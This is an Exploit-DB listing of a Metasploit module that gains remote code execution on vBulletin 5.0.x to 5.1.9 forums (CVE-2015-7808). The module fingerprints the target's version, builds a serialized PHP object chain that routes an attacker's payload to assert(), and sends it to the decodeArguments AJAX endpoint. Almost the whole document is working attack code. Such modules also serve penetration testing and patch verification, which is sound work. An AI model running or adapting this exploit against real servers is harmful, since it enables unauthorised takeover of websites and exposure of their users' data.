Exploit-DB #48761
Description: vBulletin 5.1.2 < 5.1.9 - Unserialize Code Execution (Metasploit)
Type: webapps
Platform: php
Date: 2017-07-24
Author: Metasploit

Exploit:
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'vBulletin 5.1.2 Unserialize Code Execution',
      'Description'    => %q{
        This module exploits a PHP object injection vulnerability in vBulletin 5.1.2 to 5.1.9
      },
      'Platform'       => 'php',
      'License'        => MSF_LICENSE,
      'Author'         => [
          'Netanel Rubin',  # reported by
          'cutz',  # original exploit
          'Julien (jvoisin) Voisin',  # metasploit module
      ],
      'Payload'        =>
        {
          'BadChars'    => "\x22",
        },
      'References'     =>
        [
          ['CVE', '2015-7808'],
          ['EDB', '38629'],
          ['URL', 'http://pastie.org/pastes/10527766/text?key=wq1hgkcj4afb9ipqzllsq'],
          ['URL', 'http://blog.checkpoint.com/2015/11/05/check-point-discovers-critical-vbulletin-0-day/']
        ],
      'Arch'           => ARCH_PHP,
      'Targets'        => [
          [ 'Automatic Targeting', { 'auto' => true }  ],
          ['vBulletin 5.0.X', {'chain' => 'vB_Database'}],
          ['vBulletin 5.1.X', {'chain' => 'vB_Database_MySQLi'}],
      ],
      'DisclosureDate' => 'Nov 4 2015',
      'DefaultTarget'  => 0))

      register_options(
        [
          OptString.new('TARGETURI', [ true, "The base path to the web application", "/"])
        ])
  end

  def check
      begin
          res = send_request_cgi({ 'uri' => target_uri.path })
          if (res && res.body.include?('vBulletin Solutions, Inc.'))
              if res.body.include?("Version 5.0")
                  @my_target = targets[1] if target['auto']
                  return Exploit::CheckCode::Appears
              elsif res.body.include?("Version 5.1")
                  @my_target = targets[2] if target['auto']
                  return Exploit::CheckCode::Appears
              else
                  return Exploit::CheckCode::Detected
              end
          end
      rescue ::Rex::ConnectionError
          return Exploit::CheckCode::Safe
      end
  end

  def exploit
    print_status("Trying to inferprint the instance...")

    @my_target = target
    check_code = check

    unless check_code == Exploit::CheckCode::Detected || check_code == Exploit::CheckCode::Appears
      fail_with(Failure::NoTarget, "#{peer} - Failed to detect a vulnerable instance")
    end

    if @my_target.nil? || @my_target['auto']
      fail_with(Failure::NoTarget, "#{peer} - Failed to auto detect, try setting a manual target...")
    end

    print_status("Exploiting #{@my_target.name}...")

    chain = 'O:12:"vB_dB_Result":2:{s:5:"*db";O:'
    chain << @my_target["chain"].length.to_s
    chain << ':"'
    chain << @my_target["chain"]
    chain << '":1:{s:9:"functions";a:1:{s:11:"free_result";s:6:"assert";}}s:12:"*recordset";s:'
    chain << "#{payload.encoded.length}:\"#{payload.encoded}\";}"

    chain = Rex::Text.uri_encode(chain)
    chain = chain.gsub(/%2a/, '%00%2a%00')  # php and Rex disagree on '*' encoding

    send_request_cgi({
        'method' => 'GET',
        'uri'       => normalize_uri(target_uri.path, 'ajax/api/hook/decodeArguments'),
        'vars_get' => {
            'arguments' => chain
      },
       'encode_params' => false,
    })
  end
end